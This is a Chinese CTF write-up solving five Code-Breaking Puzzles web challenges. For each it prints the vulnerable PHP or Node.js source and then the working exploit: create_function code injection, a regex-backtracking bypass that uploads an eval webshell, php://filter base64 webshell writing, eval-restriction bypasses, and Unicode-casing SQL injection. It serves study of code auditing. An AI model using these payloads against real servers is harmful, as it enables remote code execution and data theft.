[代码审计] Code-Breaking Puzzles Writeup

0. 前言

Code-Breaking Puzzles 是一场完全开放源代码的Web解密游戏,其包含但不限于PHP、Java、Node.js、Python等语言的代码审计知识。地址为https://code-breaking.com/

每个题目的知识点如下:

  • 1.function PHP函数利用技巧
  • 2.pcrewaf PHP正则特性
  • 3.phpmagic PHP写文件技巧
  • 4.phplimit PHP代码执行限制绕过
  • 5.nodechr Javascript字符串特性
  • 6.javacon SPEL表达式沙盒绕过
  • 7.lumenserial 反序列化在7.2下的利用
  • 8.picklecode Python反序列化沙盒绕过
  • 9.thejs Javascript对象特性利用

水平不够,参考了别人的文章和wp以学习为主,这篇文章介绍了前五题的wp,有问题欢迎指出。

1. function

地址:https://code-breaking.com/puzzle/1/ 其代码为:

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

解读一下程序:首先接收action参数,如果action参数匹配正则表达式成功,则输出php文件内容;如果匹配不成功执行命令action,并且将$_GET['arg']作为参数。

所以我们需要让$action参数出现除了数字字母以外的东西。关于这道题,小密圈里是这么解释的:

code-breaking puzzles第一题,function,为什么函数前面可以加一个%5c?其实简单的不行,php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。
如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

所以我们在函数名前面加上\表示默认命名空间里的函数。然后就是需要找一个变量$arg来引起危险。这里利用了create_function函数,详细情况可以参考这篇文章

参考上面链接的例子我们先来试试:

http://51.158.75.42:8087/index.php?action=\create_function&arg=2;}phpinfo();/*

执行成功,接下来查找一下目录下放flag的文件即可

http://51.158.75.42:8087/?action=\create_function&arg=2;}print_r(glob(%27../*%27));/*

http://51.158.75.42:8087/?action=\create_function&arg=2;}print_r(file_get_contents(%27../flag_h0w2execute_arb1trary_c0de%27));/*

2. pcrewaf

地址:https://code-breaking.com/puzzle/2

源代码为:

<?php
function is_php($data){ 
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = '/' . md5($_SERVER['REMOTE_ADDR']); 
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) { 
    echo "bad request";
} else {
    @mkdir($user_dir, 0755); 
    $path = $user_dir . '/' . random_int(0, 10) . '.php'; 
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303); 
} 1

当我们上传的文件能通过is_php($data)时,就会echo "bad request";,否则就保存上传的文件,所以这里主要是is_php函数的绕过问题。

具体的wp可以看这里

下面是python3的exp为:

import requests

files = {
  'file': r'aaa<?php eval($_GET[zzz]);//' + r'a' * 1000000
}

res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

执行结果如下:

然后获取flag:

http://51.158.75.42:8088/data/4c4e94b58b86fe1065791f22e26b9d7a/1php?zzz=print_r(scandir(%27../../../%27));

http://51.158.75.42:8088/data/4c4e94b58b86fe1065791f22e26b9d7a/1.php?zzz=print_r(file_get_contents(%27../../../flag_php7_2_1s_c0rrect%27));

3. phpmagic

地址为 https://code-breaking.com/puzzle/3/ 这道题的源码如下(去除html部分)

<?php
if(isset($_GET['read-source'])) {
    exit(show_source(__FILE__));
}

define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));

if(!is_dir(DATA_DIR)) {
    mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);

$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>

<?php if(!empty($_POST) && $domain):
    $command = sprintf("dig -t A -q %s", escapeshellarg($domain));

    $output = shell_exec($command);

    $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);

    $log_name = $_SERVER['SERVER_NAME'] . $log_name;
    if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
        file_put_contents($log_name, $output);
    }
    echo $output;
endif; ?>

程序执行$command命令,将结果$output写进$log_name

  1. 其中$command由dig -t A -q和可控的$domain拼接而成,因为命令固定为dig,且$domain经过escapeshellarg转义,所以命令注入似乎不行,只能执行这一个命令。
  2. 对于$output还加上了一个htmlspecialchars()转义,所以直接写shell也是不行的。
  3. 对于$log_name,还有个判断,只有后缀不是php的文件才可以写。
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
    file_put_contents($log_name, $output);
}

这里是可以绕过的,当文件名为php/.时,pathinfo($log_name, PATHINFO_EXTENSION)的结果实际上为空,但是解析的时候会默认去点/.,所以log取后缀php/.

$log_name$_SERVER['SERVER_NAME']和可控的$log_name组成,关于$_SERVER['SERVER_NAME']官方是这么解释的:

在Apache2中没有进行相应设置的话,这个值是会由客户端进行提供。这里直接就是传递的Host参数。所以目前可以控制写php文件的文件名,怎么来控制写入内容,写进我们想要的东西呢?

这里其实可以借助php伪协议来写入文件,可以参考P神另一篇文章,点击这里'

我们首先将要写入的内容base64编码,再对整个$output进行base64解码,这样原先存在的标签等就会被过滤。这里还有一个知识点,就是base64编码之后是4的倍数,解码也是按4位4位来解的,如果解码碰到不认识的字符,则直接跳过所以这里我们需要使前面的字符中可被解码的部分为4的倍数,这样我们自己加进去的内容才不会被混乱。

首先我们来尝试写一个shell进入,内容是<?php @eval($_GET["cmd"]);?>,base64加密之后是PD9waHAgQGV2YWwoJF9HRVRbImNtZCJdKTs/Pg==,然后输入base64编码之后的内容,得到结果如下:

; <<>> DiG 9.9.5-9+deb8u15-Debian <<>> -t A -q PD9waHAgQGV2YWwoJF9HRVRbImNtZCJdKTs/Pg==
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 47797
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;pd9wahagqgv2ywwojf9hrvrbimntzcjdkts/pg==. IN A

;; AUTHORITY SECTION:
.            10800    IN    SOA    a.root-servers.net. nstld.verisign-grs.com. 2019011001 1800 900 604800 86400

;; Query time: 81 msec
;; SERVER: 127.0.0.11#53(127.0.0.11)
;; WHEN: Fri Jan 11 13:33:40 UTC 2019
;; MSG SIZE  rcvd: 133

前面可被解码的部分长度正好为24,所以这里的$domain参数我们就设置为PD9waHAgQGV2YWwoJF9HRVRbImNtZCJdKTs/Pg==

构造的post包如下:

POST / HTTP/1.1
Host: php
Content-Length: 124
Cache-Control: max-age=0
Origin: http://51.158.75.42:8082
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

domain=PD9waHAgQGV2YWwoJF9HRVRbImNtZCJdKTs/Pg==&log=://filter/write=convert.base64-decode/resource=a.php/.

4. phplimit

这道题地址为 https://code-breaking.com/puzzle/4/ 源代码如下

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}

正则表达式中的(?R)表示一种递归匹配,可参考http://www.php.net/manual/en/regexp.reference.recursive.php

匹配的情况大致如下:

这里只允许最内层不带参数的函数嵌套,类似func1(func2(func3()));

参考别人的写法,解题有多种方法:

session_id

  • session_id用于设置和获取当前的会话id,也就是PHPSESSID的值
  • session_start会创建新会话或者重用现有会话。 如果通过GET或者POST方式,或者使用cookie提交了会话ID,则会重用现有会话。

这里就可以利用session_id(session_start())来获取我们想要的数据,将其作为session_start()的参数即可。但是PHPSESSID中不允许一些[a-zA-Z0-9_]之外的字符串出现,所以这里将其换种编码即可,使用hex2bin则将16进制转换为二进制即可。

首先尝试获取命令目录:

php > echo bin2hex("var_dump(scandir('/var/www/'));");
7661725f64756d70287363616e64697228272f7661722f7777772f2729293b

然后将其作为PHPSESSION发送:

]

得到目录情况,接下来查看文件内容:

php > echo bin2hex("print_r(file_get_contents('/var/www/flag_phpbyp4ss'));");
7072696e745f722866696c655f6765745f636f6e74656e747328272f7661722f7777772f666c61675f7068706279703473732729293b

get_defined_vars

此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

payload:

http://51.158.75.42:8084/?b=print_r(scandir('../'));&code=eval(current(current(get_defined_vars())));
# current 返回数组中的当前单元

http://51.158.75.42:8084/?b=print_r(file_get_contents('../flag_phpbyp4ss'));;&code=eval(current(current(get_defined_vars())));
在Apache中还可以利用getallheaders去获取http头,但是这里的webserver是Nginx,所以没有这个函数

其他

主要是一层一层叠加取值再叠加慢慢尝试,但是利用的前提是知道flag文件就在上一层目录,并且该目录只有一个文件。

这里有几个网上的payload

http://51.158.75.42:8084/?code=var_dump(file_get_contents(next(array_reverse(scandir(dirname(chdir(next(scandir(getcwd())))))))));

http://51.158.75.42:8084/?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

5. nodechr

地址为 https://code-breaking.com/puzzle/5/ 这是一段node.js代码:

// initial libraries
const Koa = require('koa') 
const sqlite = require('sqlite') 
const fs = require('fs') 
const views = require('koa-views')
const Router = require('koa-router')
const send = require('koa-send')
const bodyParser = require('koa-bodyparser')
const session = require('koa-session')
const isString = require('underscore').isString
const basename = require('path').basename

const config = JSON.parse(fs.readFileSync('../config.json', {encoding: 'utf-8', flag: 'r'}))

async function main() {
    const app = new Koa()
    const router = new Router()
    const db = await sqlite.open(':memory:')

    await db.exec(`CREATE TABLE "main"."users" (
        "id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
        "username" TEXT NOT NULL,
        "password" TEXT,
        CONSTRAINT "unique_username" UNIQUE ("username")
    )`)
    await db.exec(`CREATE TABLE "main"."flags" (
        "id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
        "flag" TEXT NOT NULL
    )`)
    for (let user of config.users) {
        await db.run(`INSERT INTO "users"("username", "password") VALUES ('${user.username}', '${user.password}')`)
    }
    await db.run(`INSERT INTO "flags"("flag") VALUES ('${config.flag}')`)

    router.all('login', '/login/', login).get('admin', '/', admin).get('static', '/static/:path(.+)', static).get('/source', source)

    app.use(views(__dirname + '/views', {
        map: {
            html: 'underscore'
        },
        extension: 'html'
    })).use(bodyParser()).use(session(app))
    
    app.use(router.routes()).use(router.allowedMethods());
    
    app.keys = config.signed
    app.context.db = db
    app.context.router = router
    app.listen(3000)
}

function safeKeyword(keyword) {
    if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
        return keyword
    }

    return undefined
}

async function login(ctx, next) {
    if(ctx.method == 'POST') {
        let username = safeKeyword(ctx.request.body['username'])
        let password = safeKeyword(ctx.request.body['password'])

        let jump = ctx.router.url('login')
        if (username && password) {
            let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)

            if (user) {
                ctx.session.user = user

                jump = ctx.router.url('admin')
            }

        }

        ctx.status = 303
        ctx.redirect(jump)
    } else {
        await ctx.render('index')
    }
}

async function static(ctx, next) {
    await send(ctx, ctx.path)
}

async function admin(ctx, next) {
    if(!ctx.session.user) {
        ctx.status = 303
        return ctx.redirect(ctx.router.url('login'))
    }

    await ctx.render('admin', {
        'user': ctx.session.user
    })
}

async function source(ctx, next) {
    await send(ctx, basename(__filename))
}

main()

这里也就是一个登陆框的注入,登陆时调用login()函数,login()函数和数据库交互之前会调用safeKeyword()函数和toUpperCase()函数对用户输入的用户名和密码进行过滤。

关键部分在于:

function safeKeyword(keyword) {
    if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
        return keyword
    }

    return undefined
}

async function login(ctx, next) {
    if(ctx.method == 'POST') {
        let username = safeKeyword(ctx.request.body['username'])
        let password = safeKeyword(ctx.request.body['password'])

        let jump = ctx.router.url('login')
        if (username && password) {
            let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)

safeKeyword()过滤了union和select,然后toUpperCase()讲小写字母变为大写字母,但是toUpperCase()函数有个特点,可以参考这篇文章, 一些字符经过大小写转换之后会变成字母的形式:

"ı".toUpperCase() == 'I'
"ſ".toUpperCase() == 'S'
"K".toLowerCase() == 'k'

这样也就可以直接绕过select了,select直接将Sſ表示即可,union直接将Iı表示即可。

所以绕过waf时也有可能利用到这种做法, 字符大小写转换时浏览器通常倾向于采用外观相似,最适合的映射ASCII字符。 这种行为有相当大范围的字符,所有浏览器的做法都有所不同。

因为burp不支持unicode,所以用python写的payload如下:

import requests
url = 'http://51.158.73.123:8085/login/'
payload = {
    "username": "admin",
    "password": "bb' unıon ſelect 1,flag,3 from flags where '1'='1"
}
res = requests.post(url=url, data=payload)

print(res.text)

实现思路是直接联合查询将flag放进username中。

参考

https://www.jianshu.com/p/748749d38fb8
https://www.leavesongs.com
http://www.kingkk.com/2018/11/Code-Breaking-Puzzles-%E9%A2%98%E8%A7%A3-%E5%AD%A6%E4%B9%A0%E7%AF%87/

1 + 9 =
快来做第一个评论的人吧~